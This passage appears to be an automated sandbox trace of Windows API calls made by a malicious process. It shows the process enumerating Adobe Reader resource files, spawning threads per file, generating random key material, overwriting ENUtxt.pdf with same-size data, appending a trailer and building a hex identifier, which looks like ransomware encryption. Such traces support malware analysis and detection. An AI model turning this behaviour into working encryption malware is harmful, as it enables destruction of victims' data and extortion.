lpStartAddress=0x2b4a8a0, lpParameter=0x4230edc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1274 [0183.684] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31610, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-H", cAlternateFileName="UN288D~1")) returned 1 [0183.684] wcscmp (_String1="UniJIS2004-UTF16-H", _String2=".") returned 1 [0183.684] wcscmp (_String1="UniJIS2004-UTF16-H", _String2="..") returned 1 [0183.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4230ed20 [0183.684] wcscpy (in: _Dest=0x4230ed20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.684] wcscat (in: _Dest=0x4230ed20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.684] wcscat (in: _Dest=0x4230ed20, _Source="UniJIS2004-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-H" [0183.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230ed20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254c [0183.685] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-V", cAlternateFileName="UNC565~1")) returned 1 [0183.685] wcscmp (_String1="UniJIS2004-UTF16-V", _String2=".") returned 1 [0183.685] wcscmp (_String1="UniJIS2004-UTF16-V", _String2="..") returned 1 [0183.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4230ec80 [0183.685] wcscpy (in: _Dest=0x4230ec80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.685] wcscat (in: _Dest=0x4230ec80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.685] wcscat (in: _Dest=0x4230ec80, _Source="UniJIS2004-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V" [0183.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230ec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0183.686] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aad3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-H", cAlternateFileName="UNIKS-~4")) returned 1 [0183.686] wcscmp (_String1="UniKS-UCS2-H", _String2=".") returned 1 [0183.686] wcscmp (_String1="UniKS-UCS2-H", _String2="..") returned 1 [0183.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22e10 [0183.687] wcscpy (in: _Dest=0x42c22e10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.687] wcscat (in: _Dest=0x42c22e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.687] wcscat (in: _Dest=0x42c22e10, _Source="UniKS-UCS2-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H" [0183.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0183.688] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-V", cAlternateFileName="UNIKS-~3")) returned 1 [0183.688] wcscmp (_String1="UniKS-UCS2-V", _String2=".") returned 1 [0183.688] wcscmp (_String1="UniKS-UCS2-V", _String2="..") returned 1 [0183.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c22ea0 [0183.688] wcscpy (in: _Dest=0x42c22ea0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.688] wcscat (in: _Dest=0x42c22ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.688] wcscat (in: _Dest=0x42c22ea0, _Source="UniKS-UCS2-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-V" [0183.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42c22ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c [0183.691] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-H", cAlternateFileName="UNIKS-~2")) returned 1 [0183.691] wcscmp (_String1="UniKS-UTF16-H", _String2=".") returned 1 [0183.691] wcscmp (_String1="UniKS-UTF16-H", _String2="..") returned 1 [0183.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4230d1a0 [0183.691] wcscpy (in: _Dest=0x4230d1a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.691] wcscat (in: _Dest=0x4230d1a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.691] wcscat (in: _Dest=0x4230d1a0, _Source="UniKS-UTF16-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H" [0183.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4230d1a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c4 [0183.699] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-V", cAlternateFileName="UNIKS-~1")) returned 1 [0183.699] wcscmp (_String1="UniKS-UTF16-V", _String2=".") returned 1 [0183.699] wcscmp (_String1="UniKS-UTF16-V", _String2="..") returned 1 [0183.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad980 [0183.699] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.699] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.699] wcscat (in: _Dest=0x1b7ad980, _Source="UniKS-UTF16-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V" [0183.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494 [0183.700] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 1 [0183.700] wcscmp (_String1="V", _String2=".") returned 1 [0183.700] wcscmp (_String1="V", _String2="..") returned 1 [0183.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20505090 [0183.700] wcscpy (in: _Dest=0x20505090, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0183.700] wcscat (in: _Dest=0x20505090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0183.700] wcscat (in: _Dest=0x20505090, _Source="V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V" [0183.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268 [0183.701] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 0 [0183.701] FindClose (in: hFindFile=0x1cd86250 | out: hFindFile=0x1cd86250) returned 1 [0183.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027cf50) returned 1 [0183.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe700) returned 1 [0183.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 Thread: id = 2711 os_tid = 0x22c8 [0157.777] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf")) returned 0x20 [0160.867] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf", dwFileAttributes=0x20) returned 1 [0161.014] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff4 [0161.014] GetFileSizeEx (in: hFile=0xff4, lpFileSize=0x3d8af900 | out: lpFileSize=0x3d8af900*=7582) returned 1 [0161.014] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x1d9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.014] ReadFile (in: hFile=0xff4, lpBuffer=0x3d8af880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d8af8c8, lpOverlapped=0x0 | out: lpBuffer=0x3d8af880*, lpNumberOfBytesRead=0x3d8af8c8*=0x4, lpOverlapped=0x0) returned 1 [0165.647] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0165.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa70 [0165.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9b0 [0165.653] NtQuerySystemTime (in: CurrentTime=0x3d8af7c0 | out: CurrentTime=0x3d8af7c0*=132462177707650000) returned 0x0 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x2c9168de [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x5457e415 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x57aaeb2 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0xc7a0ca7 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x2f62aead [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x47414e73 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x21bac6da [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x79f8baa0 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x6c15da37 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x183cef37 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x1a212dba [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x2a6c706c [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x13acfff3 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x40d4073d [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x394e93c2 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x59d97f91 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x34331de6 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x571ded26 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x3ecded5 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x6e487779 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x6c4abe69 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x4a780777 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x3115a9f3 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x53788d7b [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x13b73a37 [0165.654] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x5bcc51df [0165.655] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x15068ab1 [0165.655] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x21860d12 [0165.655] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x2de93e27 [0165.655] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x116b7b53 [0165.655] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x6c82e072 [0165.655] RtlRandomEx (in: Seed=0x3d8af7b0 | out: Seed=0x3d8af7b0) returned 0x65c5ebd8 [0165.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab60 [0165.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba60 [0165.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9b0) returned 1 [0165.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0165.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0165.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0165.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425df1d0 [0165.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425d79b0 [0165.668] ReadFile (in: hFile=0xff4, lpBuffer=0x425df1d0, nNumberOfBytesToRead=0x1d9e, lpNumberOfBytesRead=0x3d8af7b0, lpOverlapped=0x0 | out: lpBuffer=0x425df1d0*, lpNumberOfBytesRead=0x3d8af7b0*=0x1d9e, lpOverlapped=0x0) returned 1 [0165.863] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.863] WriteFile (in: hFile=0xff4, lpBuffer=0x425d79b0*, nNumberOfBytesToWrite=0x1d9e, lpNumberOfBytesWritten=0x3d8af7b4, lpOverlapped=0x0 | out: lpBuffer=0x425d79b0*, lpNumberOfBytesWritten=0x3d8af7b4*=0x1d9e, lpOverlapped=0x0) returned 1 [0190.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ee0 [0190.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7fa0 [0190.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fa0) returned 1 [0190.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425d79b0) returned 1 [0190.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425df1d0) returned 1 [0190.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0190.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0190.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a7fa0 [0190.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0190.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0190.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8030 [0190.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8030) returned 1 [0190.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a8030 [0190.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f70 [0190.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d40 [0190.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d40) returned 1 [0190.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0190.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0190.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x4315e4e0 [0190.189] SetFilePointerEx (in: hFile=0xff4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.189] WriteFile (in: hFile=0xff4, lpBuffer=0x4315e4e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3d8af8d0, lpOverlapped=0x0 | out: lpBuffer=0x4315e4e0*, lpNumberOfBytesWritten=0x3d8af8d0*=0x106, lpOverlapped=0x0) returned 1 [0194.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0194.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0194.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137ff0 [0194.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137ff0) returned 1 [0194.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f160 [0194.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137ff0 [0194.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137f00 [0194.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137f00) returned 1 [0194.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0194.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0194.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5df70 [0194.879] sprintf (in: _Dest=0x1ce5df70, _Format="%c%c" | out: _Dest="2c") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df72, _Format="%c%c" | out: _Dest="fc") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df74, _Format="%c%c" | out: _Dest="f1") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df76, _Format="%c%c" | out: _Dest="57") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df78, _Format="%c%c" | out: _Dest="a0") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df7a, _Format="%c%c" | out: _Dest="2d") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df7c, _Format="%c%c" | out: _Dest="da") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df7e, _Format="%c%c" | out: _Dest="ce") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df80, _Format="%c%c" | out: _Dest="91") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df82, _Format="%c%c" | out: _Dest="66") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df84, _Format="%c%c" | out: _Dest="77") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df86, _Format="%c%c" | out: _Dest="c8") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df88, _Format="%c%c" | out: _Dest="3b") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df8a, _Format="%c%c" | out: _Dest="de") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df8c, _Format="%c%c" | out: _Dest="df") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df8e, _Format="%c%c" | out: _Dest="27") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df90, _Format="%c%c" | out: _Dest="45") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df92, _Format="%c%c" | out: _Dest="3f") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df94, _Format="%c%c" | out: _Dest="df") returned 2 [0194.879] sprintf (in: _Dest=0x1ce5df96, _Format="%c%c" | out: _Dest="2f") returned 2 [0194.879] RtlInitAnsiString (in: DestinationString=0x3d8af948, SourceString="2cfcf157a02ddace916677c83bdedf27453fdf2f" | out: DestinationString="2cfcf157a02ddace916677c83bdedf27453fdf2f") [0194.879] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d8af918, SourceString="2cfcf157a02ddace916677c83bdedf27453fdf2f", AllocateDestinationString=1 | out: DestinationString="2cfcf157a02ddace916677c83bdedf27453fdf2f") returned 0x0 [0194.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) 